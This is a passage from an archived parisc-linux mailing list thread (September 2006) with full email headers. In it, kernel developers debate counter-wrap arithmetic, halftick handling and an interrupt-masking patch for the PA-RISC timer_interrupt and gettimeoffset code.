	Sun, 03 Sep 2006 13:30:22 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=Ytl0o1fp2yHt4+T3vyedQ0CxJKqy+B4gfn7WxG+HnSJuqe+5X066dt0egK2+FRA3he30CTdRJxl/ztI13UWirP75K3JvON9/SKCDx1BvqVKSjFos3qpTbhdI8ROd2yAa1dnQ1/KZ8xpsSK2tr2jUl+jLfJQRe2JhsHh61Bwo4Aw=
Original-Received: by 10.90.100.2 with SMTP id x2mr1007623agb;
	Sun, 03 Sep 2006 13:30:22 -0700 (PDT)
Original-Received: by 10.90.54.16 with HTTP; Sun, 3 Sep 2006 13:30:22 -0700 (PDT)
In-Reply-To: <20060903195553.GC20217@colo.lackof.org>
Content-Disposition: inline
X-Google-Sender-Auth: a6c810f8842c292e
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: WgzJdbV2Iyd1EvqQe2drM09aa2FkZpX8
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23958

On 9/3/06, Grant Grundler <grundler@parisc-linux.org> wrote:
> I'll rework my code later today to try to match the discussion so far.

Original code:

 58         now = mfctl(16);
 60         next_tick = cpu_data[cpu].it_value;
 70         nticks = 0;
 71         while((next_tick - now) < halftick) {
 72                 next_tick += clocktick;
 73                 nticks++;
 74         }
 75         mtctl(next_tick, 16);
 76         cpu_data[cpu].it_value = next_tick;

1. Let us assume a 32-bit CPU with a 32-bit counter and a 32-bit
trigger register.
2. Assume that it_value is *near* the signed long boundary (0x7fffff)
3. The counter and trigger match, raising an interrupt.
4. During the interrupt delivery cr16 wraps into negative signed long,
but only a little bit.
    Let us say cr16 is ~(0x7fffffff + 50)
5. The value "next_tick - now" is equivalent to:
    "next_tick - (-now)" since now is negative.
    "next_tick + now"
6. The signed long math wraps, and the solution is a small negative
number, or small positive number, in this case it is +48.
7. The while loop adds clockticks until we are positive and bigger
than halftick. Adding 1 clocktick.

The signed math works correctly as an approximation (off by 2) and I
do admit I find no fault in the math, but it is still confusing.

However, as James points out, if the *real* cr16 gets ahead of the
newly set it_value, by delaying this function due to other interrupts,
then we will have to wait for a full wrap to have it trigger another
timer interrupt.

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] timer_interrupt and gettimeoffset.
Date: Sun, 3 Sep 2006 17:22:14 -0400 (EDT)
Lines: 83
Approved: news@gmane.org
Message-ID: <200609032122.k83LMEpr020136@hiauly1.hia.nrc.ca>
References: <119aab440609031330i70b208cat9f347fe2ed6e8b52@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624174 20874 80.91.229.3 (22 Nov 2014 02:42:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Sep 2006 21:22:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx061) with SMTP; 03 Sep 2006 23:22:25 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 707D77D8D3;
	Sun,  3 Sep 2006 15:22:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30483-09; Sun, 3 Sep 2006 15:22:22 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BA5CD7D8D7;
	Sun,  3 Sep 2006 15:22:20 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 483917D6FA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Sep 2006 15:22:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30483-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 3 Sep 2006 15:22:17 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id EC09A7D6C8
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Sep 2006 15:22:16 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id k83LMFhW020137;
	Sun, 3 Sep 2006 17:22:16 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id k83LMEpr020136;
	Sun, 3 Sep 2006 17:22:14 -0400 (EDT)
In-Reply-To: <119aab440609031330i70b208cat9f347fe2ed6e8b52@mail.gmail.com>
	from "Carlos O'Donell" at Sep 3, 2006 04:30:22 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 9SuQLAYtTlIvULeQeGhr1mNGU2poZdmC
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23959

> The signed math works correctly as an approximation (off by 2) and I
> do admit I find no fault in the math, but it is still confusing.

The signed math works as long as the latency in delivering the
interruption is not larger than about half a cycle.  Once
next_tick - now >= halftick, then we stop updating next_tick
until the counter wraps.  Probably, this could be extended
using unsigned math but you still have to handle the wrap.

The other issue is to ensure that the compare value for the
next interrupt is set before the counter passes this count.
We could have an interruption between the read and write
of cr16 even with interrupts disabled.  So, I think we should
minimize memory accesses.  The enclosed change eliminates
the memory accesses.

It may be we don't need the save/restore if interrupts are disabled.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

Index: time.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/time.c,v
retrieving revision 1.16
diff -u -p -u -r1.16 time.c
--- time.c	24 Jun 2006 16:05:18 -0000	1.16
+++ time.c	3 Sep 2006 21:17:25 -0000
@@ -47,29 +47,36 @@ irqreturn_t timer_interrupt(int irq, voi
 {
 	long now;
 	long next_tick;
-	int nticks;
+	unsigned long nticks = 0;
+	long ct = clocktick;
+	long ht = halftick;
 	int cpu = smp_processor_id();
+	long flags;
 
 	profile_tick(CPU_PROFILING, regs);
 
-	now = mfctl(16);
-	/* initialize next_tick to time at last clocktick */
+	/* Initialize next_tick to time at last clocktick */
 	next_tick = cpu_data[cpu].it_value;
 
-	/* since time passes between the interrupt and the mfctl()
-	 * above, it is never true that last_tick + clocktick == now.  If we
-	 * never miss a clocktick, we could set next_tick = last_tick + clocktick
-	 * but maybe we'll miss ticks, hence the loop.
+	/* Since time passes between the interrupt and the mfctl(),
+	 * it is never true that last_tick + clocktick == now.
+	 * If we never miss a clocktick, we could set
+	 * next_tick = last_tick + clocktick, * but maybe we'll miss
+	 * ticks, hence the loop.
 	 *
 	 * Variables are *signed*.
 	 */
 
-	nticks = 0;
-	while((next_tick - now) < halftick) {
-		next_tick += clocktick;
+	/* Don't want to be interrupted while calculating
+	 * the time for the next tick.  */
+	local_irq_save(flags);
+	now = mfctl(16);
+	while((next_tick - now) < ht) {
+		next_tick += ct;
 		nticks++;
 	}
 	mtctl(next_tick, 16);
+	local_irq_restore(flags);
 	cpu_data[cpu].it_value = next_tick;
 
 	while (nticks--) {
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] timer_interrupt and gettimeoffset.
Date: Sun, 3 Sep 2006 10:54:18 -0400
Lines: 149
Approved: news@gmane.org
Message-ID: <119aab440609030754t5e0f869bq10b5c10770f14105@mail.gmail.com>
References: <119aab440608292148s4ee3ffb0xaac62a74c0f1403b@mail.gmail.com>
	<20060831065327.GG3999@colo.lackof.org>
	<119aab440608311152m28ef65f6ud3db46b12c59d3@mail.gmail.com>
	<20060831214650.GC16032@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624174 20878 80.91.229.3 (22 Nov 2014 02:42:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:54 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Sep 2006 14:54:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx058) with SMTP; 03 Sep 2006 16:54:32 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E4C7C7D82B;
	Sun,  3 Sep 2006 08:54:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23940-07; Sun, 3 Sep 2006 08:54:27 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 270C27D82E;
	Sun,  3 Sep 2006 08:54:26 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2838C7D827
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Sep 2006 08:54:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23924-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 3 Sep 2006 08:54:21 -0600 (MDT)
Original-Received: from wx-out-0506.google.com (wx-out-0506.google.com [66.249.82.226])
	by free.linux.hp.com (Postfix) with ESMTP id CE1F37D824
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Sep 2006 08:54:21 -0600 (MDT)
Original-Received: by wx-out-0506.google.com with SMTP id h31so1937177wxd
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 03 Sep 2006 07:54:19 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=R0emJiz1VgGA1ZdQRYP2uiqSaqPAnI5UyXvPYyFeKZt31BvizgM+c3wIYLmYMo0nZXxYoSEanAnTwtBp2pd6YnKxmo0UBs5a0MfO1zjmtsAH9OejVepHtaZT7l4idqwsp4XdtvwtQVHOvq29sH8wf6HnCNnkmESC3vAnDw5ydcQ=
Original-Received: by 10.90.120.6 with SMTP id s6mr1005672agc;
	Sun, 03 Sep 2006 07:54:19 -0700 (PDT)
Original-Received: by 10.90.54.16 with HTTP; Sun, 3 Sep 2006 07:54:18 -0700 (PDT)
In-Reply-To: <20060831214650.GC16032@colo.lackof.org>
Content-Disposition: inline
X-Google-Sender-Auth: 7bfba83e9590e979
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 4aqcLjoOaHI+XKWnKSUlxhJqamdhZATY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23960

On 8/31/06, Grant Grundler <grundler@parisc-linux.org> wrote:
> I think it's arbitrary where the overflow occurs.
> Maybe unsigned math overflow is easier to visualize/understand.
> At least it is for me.

I agree with you, unsigned long code is easier to maintain.
Signed math overflow is implementation defined behaviour, it should
not be relied upon.

> Yes. I'm now pretty sure the fix for that will be in gettimeoffset()
> and not in timer_interrupt(). But I agree the two functions are very
> similar but have to handle slightly different corner cases.

I still disagree, if you see James most recent patch which disabled
IRQ's while we handle the timer interrupt, you will see that both
functions are closer to being similar :)

I will assert that at the end of the day we will be writing
"cr16_offset" which is a generic function that can be called with
interrupts disabled and *that* will handle all the corner cases and be
called by "timer_interrupt" and "gettimeoffset".

> I was thinking the opposite: I'm missing a "tick_elapsed" count
> on each timer interrupt.

That might also be the case.

> >  Does cr16 *actuall* count at the instruction rate, or
> > does it count at 1/2 rate?
>
> I _believe_ all implementations count at the actual rate.
> At least I'm not aware of any implementations that don't
> count at the advertized clock speed.

OK.

> > There is a bug here because of this, you are right to be warry of the
> > halftick adjustment. It is also needed in gettimeoffset, or "now" will
> > appear before "next_tick" without wrapping.
>
> Sorry - this didn't make sense. Can you provide an example?
> For simplicity assume a 5 bit counter and pick the values
> that illustrate your case.

5 bit counter.
it_value = 5
cr16 = ... free running.
clocktick = 5
halftick = 2

a. Counter goes off at 8. Expected to go off at 5.
b. Since (8 - 5) == 3 > 2 or a halftick, we push forward 2 ticks
c. Set it_value to 15.

1. User calls gettimeofday.
2. cr16 says time is 9
3. The it_value is 15, subtract a clocktick and you get 10.

*boom*

The value of cr16 is < the value of a rolled back clocktick.
In counting the halftick, we need to rollback the halftick in gettimeoffset.

> > What have you got against modulo?
>
> Modulo is a division.
> Division is much more expensive than integer multiplication.
> Is there a way to do the division once _and_ get the remainder?
>
> My assumption that integer multiplication is "cheaper"
> could be wrong.

I timed this for some reasonable values of dividend and divisor.
The division and modulo operation is ~156 cycles.
The integer multiplication is ~73 cycles.
This is the average cr16 tick over 1000 runs.
The integer multiplication is "cheaper"

> >  The correct math is as follows.
> >
> > remainder = now - next_tick - ticks_elapsed * clocktick;
>
> Erm, no.  ticks_elapsed was calculated here:
>         ticks_elapsed = (now - next_tick) / clocktick;
>
> (the line above.)
> I'm taking advantage of truncation since this is integer division.
> That make more sense?

Let us do some math.

You say the following equations are correct:

ticks_elapsed = (now - next_tick) / clocktick;
remainder = now - (ticks_elapsed * clocktick);

The ticks_elapsed equation *is* correct.

The remainder equation is wrong. The value of "now" could be 4GB, the
value of "next_tick" could be "4GB - clocktick", the ticks_elapsed
value is 1. This is correct. However, the remainder is going to be
"4GB - 1 * clocktick" which is incorrect. The remainder in this case
is zero.

To get the remainder you *must* do:

remainder = (now - next_tick) - (ticks_elapsed * clocktick)

This gives you the left over ticks you didn't count. I have added
brackets here to clarify the math.

> > >+               /* "now" is either early or cr16 wrapped.  */
> > >+               if (~next_tick < clocktick) {
> >
> > Too clever for me :)
>
> Now I'm worried. :)
> I've already removed this code in the version I'm working on now.

I was only joking here, but a comment is absolutely required when you
use clever 1's compliment tricks to approximate more compilcated
mathematics. Including a comment saying that it's 1 off.

> > Somwhere in thie function we need to makeup for the halftick...
>
> Hrm. I need to think more about that. You might be right.

I have come to the conclusion that adding the halftick is conceptually wrong.

Follow me on this.

1. By adding the halftick, as a real tick, the system time moves into
the future.
2. A system with future time means we need negative gettimeoffset adjustments.
3. Negative gettimeoffset adjustment complicate things needlessly.
4. Halfticks should not be counted, and should be ignored.
5. Ignoring halfticks is not a problem, when the late timer interrupt
arrives we will accrue all full ticks anyway.

What do you think?

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] timer_interrupt and gettimeoffset.
Date: Sun, 3 Sep 2006 18:09:37 -0600
Lines: 97
Approved: news@gmane.org
Message-ID: <20060904000937.GA6963@colo.lackof.org>
References: <20060903193806.GB20217@colo.lackof.org>
	<200609031959.k83JxYon019649@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624175 20880 80.91.229.3 (22 Nov 2014 02:42:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:55 +0000 (UTC)
Cc: James.Bottomley@SteelEye.com,
 soete.joel@scarlet.be,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Sep 2006 00:09:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx070) with SMTP; 04 Sep 2006 02:09:51 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7AB607D8FD;
	Sun,  3 Sep 2006 18:09:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32596-04; Sun, 3 Sep 2006 18:09:47 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B11557D8FE;
	Sun,  3 Sep 2006 18:09:45 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 89A717D8FB
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Sep 2006 18:09:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32596-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 3 Sep 2006 18:09:38 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 40B677D8F5
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Sep 2006 18:09:38 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 85DA639948B;
	Sun,  3 Sep 2006 18:09:37 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10455-07; Sun, 3 Sep 2006 18:09:37 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 1CF4A3980FF; Sun,  3 Sep 2006 18:09:37 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200609031959.k83JxYon019649@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: oQOZEKZ4bXBtTrqHPTQ2bVYqLyUmZQh0
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23961

On Sun, Sep 03, 2006 at 03:59:34PM -0400, John David Anglin wrote:
> > Is it ok if I only add the irqsave/restore to my current patch?
> > I also like the "avoid div/mul ops" test too.
> 
> I agree on that.  They are very expensive, especially in 64-bit code.
> 
> I'm playing with the patch below.  The main thing I tried to do is
> reduce the amount of code in the irqsave/restore.

I've not applied the irqsave/restore since I don't think it does anything.
do_cpu_irq_mask() doesn't allow nested external interrupts.

> GCC didn't do a great job of optimizing the code.  I think we would
> get better code if clocktick and halftick were copied to temps before
> the irqsave.

hrm...I would expect the same result from __read_mostly but can understand
why that's not as useful as I hoped.

Can we tell GCC that clocktick doesn't change during execution of this code?
ie despite being a global, it's a "constant" and doesn't need to be
reloaded on each loop iteration?


> I was also concerned about nticks not being unsigned long.

I agree. I'm leaning very strongly in favor of the unsigned version
of the code. Even though I think Carlos demonstrated the signed
math is correct. So unless someone objects to the unsigned version
I posted earlier soon (assuming I address all bug fixes), I'd like
to commit that in the next couple of days.

thanks,
grant

> 
> Dave
> -- 
> J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
> National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
> 
> Index: time.c
> ===================================================================
> RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/time.c,v
> retrieving revision 1.16
> diff -u -p -u -r1.16 time.c
> --- time.c	24 Jun 2006 16:05:18 -0000	1.16
> +++ time.c	3 Sep 2006 19:42:24 -0000
> @@ -47,29 +47,34 @@ irqreturn_t timer_interrupt(int irq, voi
>  {
>  	long now;
>  	long next_tick;
> -	int nticks;
> +	unsigned long nticks = 0;
>  	int cpu = smp_processor_id();
> +	long flags;
>  
>  	profile_tick(CPU_PROFILING, regs);
>  
> -	now = mfctl(16);
> -	/* initialize next_tick to time at last clocktick */
> +	/* Initialize next_tick to time at last clocktick */
>  	next_tick = cpu_data[cpu].it_value;
>  
> -	/* since time passes between the interrupt and the mfctl()
> -	 * above, it is never true that last_tick + clocktick == now.  If we
> -	 * never miss a clocktick, we could set next_tick = last_tick + clocktick
> -	 * but maybe we'll miss ticks, hence the loop.
> +	/* Since time passes between the interrupt and the mfctl(),
> +	 * it is never true that last_tick + clocktick == now.
> +	 * If we never miss a clocktick, we could set
> +	 * next_tick = last_tick + clocktick, * but maybe we'll miss
> +	 * ticks, hence the loop.
>  	 *
>  	 * Variables are *signed*.
>  	 */
>  
> -	nticks = 0;
> +	/* Don't want to be interrupted while calculating
> +	 * the time for the next tick.  */
> +	local_irq_save(flags);
> +	now = mfctl(16);
>  	while((next_tick - now) < halftick) {
>  		next_tick += clocktick;
>  		nticks++;
>  	}
>  	mtctl(next_tick, 16);
> +	local_irq_restore(flags);
>  	cpu_data[cpu].it_value = next_tick;
>  
>  	while (nticks--) {
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] timer_interrupt and gettimeoffset.
Date: Sun, 3 Sep 2006 20:58:41 -0400 (EDT)
Lines: 27
Approved: news@gmane.org
Message-ID: <200609040058.k840wf9p021157@hiauly1.hia.nrc.ca>
References: <20060904000937.GA6963@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624175 20882 80.91.229.3 (22 Nov 2014 02:42:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:55 +0000 (UTC)
Cc: James.Bottomley@SteelEye.com,
 soete.joel@scarlet.be,
 parisc-linux@lists.parisc-linux.org
To: grundler@parisc-linux.org (Grant Grundler)
